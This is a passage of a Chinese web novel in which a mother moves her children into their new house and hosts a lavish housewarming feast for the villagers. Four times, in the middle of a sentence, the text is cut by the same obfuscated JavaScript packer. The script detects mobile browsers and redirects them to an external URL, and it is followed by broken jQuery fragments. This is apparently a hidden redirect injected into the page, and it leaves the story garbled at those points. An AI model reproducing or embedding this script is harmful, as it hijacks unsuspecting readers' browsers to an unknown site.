房子后面她要建一个鸡棚。 第56章 参观新宅 几个孩子在宅子里前前后后的转，对自己的新家爱的简直不知道说什么好。 万萱在自己的床上蹦来蹦去，高兴的大喊：“我有床喽，我有自己的床喽。” 万辽也小孩子心性，兴奋地很，只不过学着小万萱的样子在自己的床上蹦了两下就不敢再蹦了，小心的下了床，他怕压坏了这新床。 万絮把屋子里的摆件和家具摸来摸去，她虽然没有像万萱一样做出那么夸张的动作，但只要看她脸上的表情就知道对于自己的卧室是有多么的爱不释手了。 万路则是里里外外走个不停，每个房间都来来**的看好几遍，那样子看上去好像还在梦中一样，这梦里才可能出现的漂亮宅子忽然出现在了现实里，居然还变成了他的家，万路感到特别的恍惚。 他转了好一会儿，才有了些实感，抬起小脸对卜霜确认道：“娘，我们以后真的能住在这里吗？” 卜霜看着向来最为沉稳的老大露出这个样子的表情，不知怎的，眼眶就有些发热，她摸摸万路的头，对他重重点头，肯定道： “这以后就是我们五个人的家了，等咱之后赚的钱越来越多了，娘再带你们去镇上买一套大宅子住。” 万路眼睛变得亮晶晶的，他摇摇头：“不用买大宅子，这个宅子就已经很好很好了，我很喜欢，弟弟妹妹们也很喜欢。” 这种宅子他以前想都不敢想有朝一日能住进去。 卜霜怜惜的摸摸他的头，万路如今个子已经和她差不多高了，再过一段时间，就要长的比她还高。 到时候就不能和他们一起睡了。 她在四个孩子都长大前，让他们都有了属于自己的屋子。 “哎呦，卜妹妹你这自己设计的宅子做出来后比那纸上画的还要好看呢。” 门外传过来一声惊呼，原来是赵昭明和马婶子知道卜霜今日要住新房了，结伴过来了。 赵昭明是全程见到卜霜怎么在纸上设计和房子如何一点点建好的，马婶子可没见过啊。 她一跨进门，嘴巴就惊的没合上，瞪大双眼在院子里到处看，乖乖，连窗扇都是雕了花的。 这和那些大户人家的宅院有什么区别？ 卜霜笑着迎上来，拉过她们的手。 “赵姐姐，我刚想叫你过来呢，你就来了。” 赵昭明笑道：“我早知道你的宅子今日就能盖好，怎么能错过过来看看你的新家呢，正好马大姐来我家串门，我就拉着她一起过来了。” 卜霜之前就觉得马婶是个好人，这几日马婶子来到作坊后，更是她作坊里的的一把好手，从不偷奸耍滑，有什么都是第一个上的，为人和善，和帮工们的关系都很好，市场帮着赵昭明协调帮工之间的事情， 卜霜看她十分亲切：“马大姐，我们几家住得近，现在又在一起做买卖，以后要多多来往才是。” “几个孩子玩的好，我们这几家也不要生疏了，马大姐你不忙的时候，尽管来我家串门。” 听到卜霜这么说，马婶喜不自胜，可她想了想：“卜妹子你如今开了作坊，还在镇里忙活着别的生意，每日一定很忙，我常来的话会麻烦你吧。” 卜霜摇了摇头，赵昭明便笑着接话：“大姐你不知道，这丫头最喜欢人多了，每日恨不得把全村的人都喊过来吃大锅饭才好呢。” 卜霜也笑：“我喜欢做饭给亲近的人吃，马大姐以后也可以来试试我这大锅饭的味道。” 马婶喜道：“好，我以后常来串门，别的我卜敢说，可我有的是力气，妹子以后家里有什么活尽管说，我过来的时候就帮你干。” 卜霜苦恼的咂舌：“我和马大姐是交朋友，而大姐是要给我做劳工啊。” 赵昭明就在那笑的腰都直不起来。 几人聊了好一会儿，卜霜拉着两人进屋：“别在这干站着了，还不赶快进来瞧瞧我这屋子。” 经卜霜提醒，二人才想起来，忙着就进来参观卜霜的新宅子。 前后都看了后， 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“妹子，你看我吧你家地都踩脏了，这可...” 卜霜摆手丝毫不在意：“马大姐你尽管走，院子里铺了这砖好打理的很，每天洒洒水随便一扫就很干净，这点土之后一扫就没了。” 正说着，大壮不知道什么时候来了，还带着青犁，两个小孩在院里兴奋的乱跳着跑去找万路他们了。 他们一溜烟跑远，脚下踩了一串长长的泥印子，铺在卜霜她们眼前。 赵昭明撸起袖子，怒吼着：“大壮，你给我回来，别瞎跑，老娘抓住你非把你屁股给抽开花。” 卜霜笑着抓住马婶，指着他们几个：“看吧，这才叫闹腾呢。” 三人对视一眼，一起哄笑起来。 几人回了会客厅坐着喝水闲聊，卜霜道。 “如今住了新房，我要办个暖房宴了。” 第57章 暖房宴 村子里面盖好房子，住进去的时候通常都要办个暖房宴，叫上亲朋好友过来给暖房，欢声笑语热热闹闹的帮着增添人气。镇上和县城里的人也办，不过一般叫温居。 讲究一点的富户还有过大办宴席，把全村的人都叫过来热闹的。 卜霜不准备叫那么多人，她就叫相熟的好友，附近的邻居，还有盖房的工匠们就好。 而且这些人已经足够多了，到时候大家伙聚在一起绝对能把整个宅子炒得热起来。 赵昭明问道：“卜妹妹，你准备什么时候办暖房宴。” 卜霜想了想：“宜早不宜迟，我看就今天吧。” 赵昭明这个急性子，当即激动起来：“那你定好人选，我去给你通知。” 卜霜拿来笔纸，在上面边回忆边写名单：“首先得请赵婶和聂哥儿，赵大哥还有工匠们肯定是要请的，让他们带着家眷来吧，在咱作坊里做工的姑娘媳妇们也都叫来，都把家眷带上，哦对了还有村里里正一家。” 她写好后，赵昭明拿过名单看了一眼：“这得摆好几桌呢吧。” 马婶数了数：“是啊，这些人可不少了。” 卜霜道：“我估计男人要两桌，女人们就得三桌。” 卜霜定好人选后，赵昭明就立即出去通知人来参加暖房宴去了。 马婶留下给卜霜帮忙。 赵昭明办事果然利索又周全，没过一会儿，就见好几个妇人结伴过来，有聂家的赵婶子，赵石头的媳妇曼嫂，还有之前在作坊招人时喊着能干到七八十岁的春兰，以及以往和她们交好的一些小媳妇。 她们浩浩荡荡的一行人，听了卜霜的邀请后都提前来给她帮忙来了。 做这么几桌子席面的可要买不少菜和肉，而且家里的桌子凳子也不够，需要去镇上铺子里搬一些过来，卜霜忙着招待客人走不开，左右孩子们也没事做，卜霜干脆让万路万絮他们四个带着大壮和青篱，让几个孩子坐上牛车去镇子里买菜，顺便把桌子凳子都带回来。 万路他们四个小崽子现在哪都去过，对镇上熟得很，有他们几个在，大壮和青篱很安全，而且趁这个机会能让大壮和青篱也去镇上见见世面。 几个小孩子听后当即领下来这个任务，他们这个年纪，做什么事情都觉得好玩。 卜霜给万路多带了些钱，告诉他要采买些什么之后，又让他带着弟弟妹妹们在镇上，看到弟弟妹妹们喜欢什么想吃什么的不要省钱尽管买。 万路郑重的点了点头，几个小孩子就手拉手，在没有大人的陪伴下第一次独自去镇上进行大任务了。 买的菜还要一阵子才能回来，卜霜就先带妇人们参观了宅子后，再去大棚菜地里摘黄瓜。 “这大冬日的，卜掌柜家里居然有这么多新鲜蔬菜。” 妇人们一进来菜地，立刻便被眼前这一幕震惊了。 那大棚菜地里结着好多市面上已经没有了的绿菜，黄瓜，毛豆，萝卜，土豆，产量还很可观。 卜霜往筐子里摘黄瓜，笑道：“这不是想着入了冬就没什么蔬菜可以吃了，所以我在入冬前就种下了这些菜，没想到真长出来了。” “嫂嫂婶婶们如果日后买不上什么菜，可以来我这里摘一些回去吃个爽口的。” “这怎么行。”这些妇人们都是勤快好心的人，虽然看到这满菜地的蔬菜很羡慕，但她们可不好意思占她这种便宜。 春兰想了想，“我看这菜地确实很大，如果卜掌柜以后有吃不完的剩的，那我们就过来和卜掌柜买一些回去吃。” “对对对，买一些回去。”其他妇人一听，立刻赞成。 虽然卜霜觉得没这个必要，这么多菜她们这些人也吃不了多少，但是她们执意要给钱，卜霜也就依了她们的意思了。 她们洗菜洗肉的时候的时候用了卜霜自制的水槽，不用的时候只是觉得这东西长得，用过才知道这东西有多么好用。 她们以前洗东西都是用木盆舀上水放在地上，坐在凳子上面弯着腰洗。 长时间下来，腰都要断了。 而有了这水槽，洗什么只用站着就好，东西都在一伸手就能够到的地方，不用弯腰低头，只要往水槽里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446550|169419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舀两勺子水，水脏了后把木塞一拔，脏水就流走了，再也不用提着一桶泔水桶出门去倒，就可以又蓄干净的水了。 这实在是太方便了，这些妇人们用过卜霜家的水槽后，恨不得立时就给自己家里都装一个。 赵昭明都通知好客人们回来之后，孩子们也坐着牛车从镇上采买回来了。 他们一跳下车立即激动的拉着各自的娘，叽叽喳喳的和卜霜她们说这次去镇上都买了什么。 牛车上放满了东西，菜和鸡鸭鱼肉都采买回来好几大筐，从卜记食铺拉来的桌子都只能叠着塞在角落里。 赵昭明摸摸大壮的头，惊讶的笑道：“好小子，和你万路哥玩的时间久了，胆子也越大了，学了些本事啊，都能自己去镇上买菜了，做得好。” 几个孩子得到了大人的夸奖后很是满足，他们这一路也没白干，买了好多零嘴，几个孩子把那大包小包的零嘴拿下来，围在一起开始分零食吃。 大人们则是把牛车上的东西都卸下来，摆好席面的桌椅后，开始洗菜择菜，边忙活边闲聊。 整个院子里欢声笑语，格外的热闹。 卜霜也开始使用新做的厨房了，今天是她首次在新家开火做饭，烟火气袅袅上升，卜家宅院里温馨欢愉。 赵昭明跟着卜霜在厨房里烧火，绘声绘色的说着： “你是没看到，我去叫人过来参加暖房宴的路上，那春婶子就直接当路拦住我，对我说，卜媳妇怎么不邀请我们家去暖房宴呢，都是一个村的人，大家乡里乡亲的，要互相照应，我们家也要去贺喜，卜媳妇不过就是赚了点钱就这么小气啊。” 卜霜问道：“然后呢？” “我就说啊，春婶子你之前说卜妹妹坏话的时候怎么想不到我们都是一个村里住的，要互相照应啊，别是想去蹭饭占便宜吧，卜妹妹又不是天生欠你们什么，你既然能没脸没皮的说这话，那我也让村里其他人评评理。”赵昭明哈哈大笑了两声，“那春婶子当时脸红的呦，看着村里人要过来，赶快就跑了。” 卜霜就笑：“还得是姐姐有办法。” 第58章 暖房宴2 赵昭明和卜霜看着那些筐子的菜和肉，商量着做点啥菜。 人这么多，一定要往丰盛了做。 凉菜卜霜准备先做一道蒜泥拍黄瓜，这道菜平日做过几回，大家的评价都很高，然后油炸花生米，今天来的男人们也多，这是道下酒小食，边吃着花生酒也会变得更加美味。 再然后做一道凉拌马齿笕，五香豆腐丝，卤水拼盘，再来一道凉拌鸡丝，一共就要五六样凉菜。 热菜的话，一道糖醋鱼，酸甜开胃，一道经典的卤味干煸肥肠，辣子鸡丁，香辣虾，香辣排骨，这三道鲜香麻辣，一定会让人食欲大增，再来一道红烧肉，清炒藕片，豆角焖茄子，汤的话做一道玉米排骨汤，再来一道小孩子都爱吃的拔丝地瓜。 至于主食，就是大米，馒头，再来一道馅饼，粉条白菜猪头馅的。 还得来几道点心，桃酥和绿豆糕。 卜霜准备先做点心，提前上到席面上，今天的饭菜要坐很久，客人们到了之后可以边吃点心边聊。 这样算下来，一共是六样凉菜，十样热菜，外加几道点心，这些菜一样做五份，一共做五桌子酒。 村里人的席面上只要有一两道的鱼和肉就算得上是头等席面了。 而卜霜要做的这些菜，别说在这村子里了，就是去了县城里，那些达官贵人们的府宅里也算得上是上等席面。 今天这种日子，有那么多大人们帮忙，孩子们只要尽情玩耍就行了，所以卜霜也就没让他们进来帮忙。 剩下的妇人们把万路他们买回来的几筐子菜洗的洗，还切的切，分工明确，每个人手下都忙活个不停。 厨房里忙得不可开交，还好新做的厨房够大，所有人都进来都不显得拥挤。 如果是之前的厨房，这些人就算想要进来帮忙都难。 赵昭明发好面开始揉馒头，卜霜也开始起酥做点心。 她之前还没有做过点心，因此孩子们玩了一会儿后，就趴在厨房门口看她做点心。 卜霜一边揉面一边逗万萱：“你上次不是说想吃兔肉吗，娘今天做给你吃好不好。” 这么些天，万萱已经养兔子养出了感情，立刻瘪嘴嘴，抱着卜霜的胳膊摇啊摇的撒娇：“娘，不能吃兔兔，兔兔下了崽，可以卖的。” 万絮用手滑她鼻子：“你这个馋鬼，我以为你只记得吃呢。” 大家伙笑起来。 她们忙活的时候，工匠们和工匠家眷们，作坊里的帮工们，里正一家还有聂鸿轩陆续都到了。 每个人都带着礼。 家里过得不富裕的有的便用篮子带了二三十个鸡蛋，有的富裕一点的直接给卜霜带了一套镇里的被面，这都是代表他们的一点心意。 卜霜让万絮一一都接了，放在杂物间里，她和客人们一一见了礼，寒暄过后，便让万路带着他们自行去参观宅院，自己则立刻又回了厨房忙活。 客人们进来后参观了宅子后，都有些咂舌：“卜掌柜的这房子建的可真气派，咱村可没有比这更好的房子了。” “是啊，你看院子里地上都铺着砖头，哎呦，这要花多少钱啊。” 席面要办好几桌，屋子里是放不下的，还好院里的地方够大，卜霜就把桌子就摆在了院子里，人们逛完宅子之后口渴，就顺便从桌子上喝了一口水，下一秒惊呼：“哎呦，这桌子上的居然都是糖水。” 卜霜这次席面上给客人解渴的水都是加了糖的糖水。 其实更规格的席面，比如芳华阁的雅间里给贵客们上的都是上好的茶水，不过村里人喝不惯那些，糖水对于他们来说就已经很奢侈了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446551|169419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 客人们都夸赞起来：“卜掌柜真大气，怪不得她能挣大钱呢。” 有人看着万絮迎来送往的样子看，又夸道。 “是啊，我看卜掌柜那几个孩子都比旁的孩子更聪明些。” 这糖水甜滋滋的，人们喝了之后觉得不够又多喝了几杯。 他们正说话着，万路和万辽从厨房端上来了几盘子点心，依次每个桌子上都放上。 万辽笑的喜人：“各位婶婶嫂嫂叔叔伯伯们，这是我娘刚做出来的点心，热乎乎的可好吃了，娘让大家坐着先吃一些垫垫肚子，饭菜很快就做出来了。” 卜霜一共做了两道点心，一道绿豆糕，一道桃酥。绿豆糕是用绿豆磨成粉，桃酥是用猪油和土鸡蛋做的。 这绿豆糕颜色清透如碧玉，桃酥颜色金黄，上面撒着黑芝麻，看起来就酥脆十足。 村里人赚钱只为吃个饱，这点心价格又高，只有小小一块，显然是不愁吃穿的人家才会去买来吃的。 而且镇上的点心，每天都是要排队才能抢到的，村里人都没有什么机会吃，因此这还是他们第一次吃点心。 大家伙拿了一块品尝，不尝不知道，只是一口，那从来没有尝过的味道就把他们征服了。 绿豆糕清凉细腻，入口即化，有一股淡淡的豆香和甜味。 桃酥酥脆，有一股核桃的味道，甜而不腻，猪油酥皮在嘴里化开后味还有一点点咸，芝麻香气直冲舌尖，简直越嚼越上瘾。 客人们吃了一个又一个，吃了一块又立即去拿，根本停不下来，他们捧着点心，吃的时候都不敢使劲，稍微用力那酥皮就哗哗掉，在手上沾满了碎屑。 一口气连吃了好多块，众人才有些不好意思起来，擦擦手，就着糖水喝了一口，舒服的叹了一口气。 第59章 暖房宴3 “难怪镇上的点心铺子生意那么好，人们花着高价排着队也要去买，这味道就是不一样啊，我要有钱了，我肯定过年节的时候给家里也买一些吃。”工匠们道。 赵石头就笑他：“看你这小气样的，镇上的大户每天都要买点心，点心铺子里出了什么新花样，更是第一个就要买回来尝尝味道，你做梦都只敢过年节的时候买，什么时候能有钱啊。” 这边工匠们嘻嘻哈哈的玩笑。 那边作坊的帮工们也在聊天：“我在村里这么多年，还没见过哪家席面上舍得上点心的，先是糖水，后是点心，哎呦我今天可算是来着了，难怪村里一直都说卜掌柜家的伙食有多么好，那春婶子刚才还羡慕的巴巴的吵着也要来暖房宴呢。” 其他人也感叹道：“还好进了卜家作坊，每月有工钱拿不说，卜掌柜人好，做什么也惦记着我们，要不我们哪里能来吃到这好东西呢。” “是啊是啊。” 这边厨房里卜霜做好了点心之后，就开始炒菜。 今日要做的菜实在是太多了，卜霜没有那么多的精力，所以她指挥帮忙的妇人们把每道菜需要的食材都备好切好，然后放在写着每道不同菜名的盘子里，卜霜只要随手拿过后只管炒和调味就好了。 大棚蔬菜里摘来的黄瓜已经被洗净，卜霜拿过来用刀背拍裂，然后蒜泥混合生抽，糖，醋和花椒油拌匀，浇在黄瓜上就好了。 马齿笕是之前在山上新鲜摘的，她把马齿笕焯水后拌上调好的汁水拌匀，再撒一把小米辣。 至于五香豆腐丝，豆腐干切成细丝，生抽，香油，辣椒油混合着调匀，然后浇在豆腐丝上，再拌上葱丝和香菜。 花生米用粗盐把外面的红皮搓掉，然后烧热菜籽油，把花生米放进去，中小火慢炸，期间要不停的**，听到花生发出噼啪的声响后就可以捞出沥油，趁着热的时候撒上盐就行了。 不多时卜霜已经做好了四道凉菜。 她从盘子取出撕好的鸡丝，然后加姜片，料酒，煮一会儿就捞出，黄瓜丝垫在盘子底，鸡丝放在黄瓜丝上面，芝麻酱用温水化开后，加入生抽，醋，糖，蒜末，辣椒油拌匀，淋在转好盘的鸡丝好，再撒一点芝麻。 卤味都是现成的，卜霜直接让赵昭明切好装盘。 这样凉菜就都做好了，卜霜让妇人们把转好盘的凉菜都放下去，用盖子盖住。 现在还不到时间，等热菜做的差不多了后，她再让人把凉菜端出去。 接下来就要做热菜了，四个灶同时烧开。 糖醋鱼用的还是之前万路他们在河里捞上来的鱼，他们囤了好些在家里的大水缸里养着。 妇人们已经把鱼都清理干净，卜霜从盆里取过那些鱼，划上花刀，用盐，料酒，姜葱先腌一会儿，然后拍上淀粉后放进锅里炸到金黄，在另一口锅里炒香蒜末，加上番茄酱，白糖，醋，倒入水煮开，淋在炸好的鱼上面，撒上葱花，糖醋鱼就可以转盘了。 外间切菜揉面的妇人们闻到这股香味，忍不住仰起鼻子在空气中嗅了嗅：“真香啊，闻得我肚子都响了。” 马婶子就抬起头笑：“把你馋的，待会还少得了你吃的？” “不过卜妹子这是在做啥啊，我来的时候都在家里吃过饭了，怎么闻的也饿了。” 干煸肥肠卜霜已经做了很多次了，因此做起来也很熟练，几乎都不用想，直接把切好了的肥肠放进锅里煸出油，然后爆香花椒，干辣椒，姜蒜，再加洋葱，倒入肥肠，加生抽翻炒几下。 三下五除二，干煸肥肠就出锅了，几乎只用了糖醋鱼一半的时间。 接下来是三道辣菜，虾爬子来帮忙的妇人们都没见过，所以是赵昭明清理的，卜霜直接将虾用热油煎到变色，炒香豆瓣酱吗蒜末，花椒，干辣椒，倒入虾翻炒，加料酒和糖调味，最后撒上葱花。 切好的鸡丁要用生抽，料酒，淀粉先腌着。 卜霜趁着这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446552|169419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时间去做香辣排骨，排骨焯水沥干，热油里面倒入糖，然后把排骨放进去炒出搪塞，之后加入生抽，老抽，姜，八角，干辣椒，花椒，加入热水炖煮，排骨要炖到收汁，时间比较长。 卜霜便开始做辣子鸡丁。 她把腌好的鸡丁炸到金黄捞出，爆香花椒，干辣椒，姜蒜，倒入鸡丁翻炒，加盐和糖调味，就能出锅了。 五花肉焯水后，同样要炒出糖色，然后家生抽，老抽，料酒，香料，加入热水，和香辣排骨一样，要炖很长时间。 接下来是两道，比较省时间，但是蔬菜放的久了后就不好吃了，所以要放在后面做。 豆角段和茄子条，过油到半熟捞出，爆香蒜末后，倒入豆角和茄子，加生抽，蚝油，糖和水，盖上盖子，焖一会儿，直到豆角和茄子把料汁都吸进去熟透了，就好饿了。 藕片泡完白醋后，用大火快炒，加半勺生抽就可以。 排骨焯水，玉米和胡萝卜块一起下锅，放入姜片，用水煮沸，加入盐后用小火慢炖。 地瓜块炸到金黄酥脆捞出，然后用另一口锅放入糖和水用小火熬化，熬成糖水，把地瓜趁热倒进去快速裹上一层糖衣，用筷子拉出丝做好造型摆盘。 每样菜她都做足了分量，做好后分成五份就好了。 烙饼不需要什么技术，妇人们就帮着烙了。 院子里肉香飘逸，来的客人们都不知道多久连肉腥味都没有闻过了，嗅到这股香味，立刻走不动道了，馋的口水都快流出来，有几个忍不住站在厨房门口往里面看。 锅上蒸着米饭，妇人们揉的馒头也在锅里蒸着。 她们看着自家男人那不争气的样子，笑着赶人：“去去去，多大的人了，学小孩子趴厨房门啊，看你那样子。” 卜霜笑着往外看了两眼，用抹布垫着把汤都，招呼一声：“行了，人都齐了，菜也都做好了，招呼一声让大家都回去做好了，这就开饭。” 第60章 暖房宴4 来帮忙的妇人们便和万路他们几个一起来厨房把那转好盘的菜都端出去。 依照顺序，首先摆在桌上的是六样凉菜。 凉菜没有什么稀奇的，村里人常吃，以往村里人摆宴席时也常见用凉菜充当正菜，凑个数目充场面的做法。 所以大家伙先也没仔细看，但是眼见如流水一样的凉菜上了一道又一道，客人们才感觉出了不对。 上一两道凉菜充场面很正常，但是卜掌柜的总不能这么抠门，这么多道凉菜都充当正菜吧，那这一桌子席面岂不是就成了凉菜盛宴了。 客人们这才朝桌子上瞧了一眼，这一眼就感觉出了不对。 卜霜竟然光凉菜就上了六道。 而且这六样凉菜里就有两道荤菜。 两荤中的其中一道，是铺子里卤好的由猪肠猪肺猪肝猪都切好之后拼成的卤味拼盘，另外一道是凉拌鸡丝。 要知道村里办宴席时但凡桌子上有两道肉菜都算是有面子的头等席面了。 而卜掌柜家的席面光凉菜里就出现了两道荤菜。 剩下的蒜泥拍黄瓜，油炸花生米，凉拌马齿笕和五香豆腐丝也都是没见过的。 没等他们惊讶完，然后他们紧接着就见桌子上开始上热菜。 那一道又一道香气四溢的热菜看的人目不暇接，热菜足足有十道，直到菜都上完，五张桌子已经摆的满满当当了。 这热菜更是不得了，有鱼有鸡肉有猪肉有虾爬子，有蔬菜有汤。 糖醋鱼都是整条上的。 主食是一笼一笼热腾腾的白面馒头，还有蒸好了用木桶提上来的米饭，还有烙的好几十张馅饼。 这次来参加卜霜暖房宴的客人们都惊呆了，呆呆的望着那满桌子的菜，还有那白面馒头，大米饭和馅饼，震撼的都不知道说什么。 她们什么时候吃过这样的好东西。 暖房宴是这样坐的，工匠们一桌，工匠的家眷们一桌，作坊帮工们一桌，帮工们带来的家里人一桌，然后卜霜这桌就坐着万路万絮万辽万萱，聂鸿轩和赵婶，赵昭明和大壮，外加里正夫妻俩。 但是此刻，每桌的表情都是一样的，就连万路他们几个都惊讶的张大了嘴。 他们平日也没吃过这么好的饭菜啊。 “这这这也太丰盛了吧，红烧肉，糖醋鱼...我之前在镇上富户家做活时，他们家年节的饭桌上都没见过这些啊。”半晌有人回过神来了。 “卜掌柜你这也太夸张了，我都以为我是在哪个大老爷家里做客呢。” 他们说着，有些受宠若惊。 卜霜正给大家发着饭后小甜点，是万路去镇上买的山楂糖和陈皮糖。 客人们带来的小孩子一见到糖，都跳着要，被各自的父母抱回怀里，红着脸只要了一两颗。 她闻言笑了笑，又从厨房里取出酒来，每个桌子上放了几壶：“这糖和酒都是万路他们几个还有赵姐姐的孩子大壮，马婶子的女儿青篱一起去镇上铺子里买的，你们看到的这些饭菜可也有他们一半功劳呢，没有这些菜我就是再厨艺高超也做不出来这些。” 大家转头就夸万路和万絮四个，连大壮和青篱都顺带着被夸上了天。 “万辽万萱才多大点呀，都能上镇子里买菜了，真是几个好孩子，卜掌柜聪明，赵管事和马婶子就不用说了都是那能干的，教出来的孩子们小小年纪都是家里的一把好手了，再看我家那几个，还比他们大一些呢，连镇上都没去过。” “别说你家那几个了，我估计咱村里就没有比得上这几个孩子的。” 孩子们被夸的都红了脸，心里头美滋滋的。 赵昭明和马婶子也都乐开了花，这次的席面上有村里很多人，她们的孩子也在众人面前露了脸，她们脸上也很有光。 尤其今日里正也在，里正媳妇是爱牵媒搭线的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446553|169419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，这两个孩子的美名要是在村子里传开了，以后大了说媳妇定亲什么的也都不用担心了。 卜霜就是要这个效果，她坐下来：“大家都别说了，人齐了，开宴吧。” 大家伙早就等不及了，一听立刻开始吃饭。 新鲜的蔬菜，肥美的鱼肉，这么些真材实料的东西堆下去，无论是交给谁，怎么做都不可能难吃，再加上卜霜的厨艺，每一道菜都是她用心准备的，所以桌子上的每一道都可以说是色香味俱全。 蒜泥拍黄瓜吃起来清脆爽口，油炸花生米香脆可口，凉拌马齿笕和五香豆腐丝的味道也很独特，让人尝了还想再尝，凉拌鸡丝更是鲜嫩滑口，让人回味无穷。 再尝那热菜，糖醋鱼酸甜适中，外酥里嫩，卤味干煸肥肠肥而不腻，辣子鸡丁香辣可口，香辣虾和香辣排骨更是辣中带香，让人欲罢不能，红烧肉肥瘦相间，入口即化，清炒藕片和豆角焖茄子则清淡爽口，解了油腻，玉米排骨汤鲜美浓郁，拔丝地瓜更是孩子们的最爱，甜度刚好，吃起来酥酥脆脆的。 大米白净香甜，馒头松软可口，粉条白菜猪头馅的馅饼则是皮薄馅大，独具特色，让人吃了一次还想再吃。 大家伙吃的满头大汗，得了空从热气腾腾的笼子里抓起一个馒头，木桶里的大米很快就见了底，他们像是三天没吃饭一样。 这也不怪他们，实在是太香了。 他们笑容里都是满足，对饭菜赞不绝口。 “我看那些酒楼厨师做的席面，都比不上在卜掌柜家里吃的这一顿。” 其他人认同的点头。 虽然他们也没吃过，不过就是觉得比不过。 帮工里的几个小媳妇没有带孩子过来，吃着这么好吃的菜吗，不免想起家里的几个孩子，有些不好意思的压低声音和卜霜说：“卜掌柜，这席面吃完后剩下的菜能让我包起来带回去吗，我想给我家那几个小的尝尝，他们还没吃过这种好东西呢。” 第61章 捉迷藏 打包剩菜有什么的。 卜霜本想点头，但是再一看席面上众人吃疯了的模样，这估计等他们吃完了后也就不剩什么菜了，就道：“别等别人吃完了打包剩菜了，快，你家离得近，现在快去把你家孩子带过来，来了席面上一起吃，等他们吃完了，可就不剩什么了。” 小媳妇本是不好意思拖家带口来占便宜的，听闻卜霜都这么说了，立时有些，也管不得脸面不脸面的，哎了一声就出去喊人去了。 卜霜用一个小碟子把桌上那些菜都拨了一些进去，放到万萱身前喂她吃，孩子胳膊腿都短，站起来都够不到席面，睁着大眼睛的看着别人疯抢，半天吃不到一点，最后只能巴巴的看着卜霜，把她心都给看化了。 万辽看到后娘在喂小万萱吃饭，也开始争宠，缠着也要卜霜喂他吃饭，直到被万絮用筷子敲了一下才消停。 卜霜这桌的众人们乐呵呵的看着她们母子几个互动，一阵玩笑。 客人们一口气吃了个半饱，这才慢下速度边吃边聊，开始说说笑笑。 赵石头在席上一直夸卜霜厚道，他还从来没有见过这样的雇主，工钱多伙食好，工匠们喝酒喝到了三分醉意，红着脸开始拍着胸脯和卜霜保证，以后有什么事尽管叫他们，他们兄弟随叫随到，就差没和 男宾桌上说说笑笑，把酒言欢，女宾桌上也是家长里短，聊开了。 “卜掌柜这宅子是真气派，不知道我在作坊里干个几年活，什么时候能住得起。” “那水槽是真好用，我年前也准备修个这样式的，卜掌柜，到时候还要麻烦你过来指挥啊。” “卜掌柜的手艺到底是从哪里学的，我饭量也不大啊，怎么这会儿肚子跟个无底洞似的，怎么吃都不够。” 一时间席上你一言我一语的，欢声笑语，热闹个不停。 卜霜抱着万萱，也很享受这难得的欢聚时光，席面上都是实实在在的人，吃得满足了，他们就开心，喝酒喝的上头，有人唱歌有人跳舞，实在是村里难得的风景。 一顿饭，大家伙一边吃一边喝，直吃到太阳下山，女宾们都有了几分酒意，这才吃完了。 卜霜煮了些醒酒汤，让万路他们给每个人都端上一碗，夜深路滑，醒醒酒再走比较好。 赵石头他们不是武安村的人，离得比较远，喝过醒酒汤后这就要走了。 里正夫妇在村子中间住着，和卜家有一段路程，也起身告辞。 卜霜带着万路将他们都送出门，之后再回来宅子，剩下的人便都是不着急回家的。 几个人又谈笑了一会，之前没来帮忙做饭的妇人们便自发的去收拾席面洗碗筷，把卜霜从厨房里推了出去，直言这暖房宴她最累，让她好好歇着。 卜霜没法，就在院子里的桌子上坐着和赵昭明她们闲聊。 夜幕降临，孩子们的兴致一点没有少，精力充沛的在灯火下玩打沙包，那沙包连着好多日被他们在手里丢来丢去，已经有些漏沙子。 这次经过大壮一个大力的摔打之后，那沙包终于开了，沙子撒了一地。 孩子们愣了一下，小跑着去围着那沙包看。 万辽拎起沙包，嘟嘴：“大哥，这沙包坏了，不能用了。” 万路皱眉：“娘只做了一个，没有别的沙包了。” “那我们玩什么啊？” 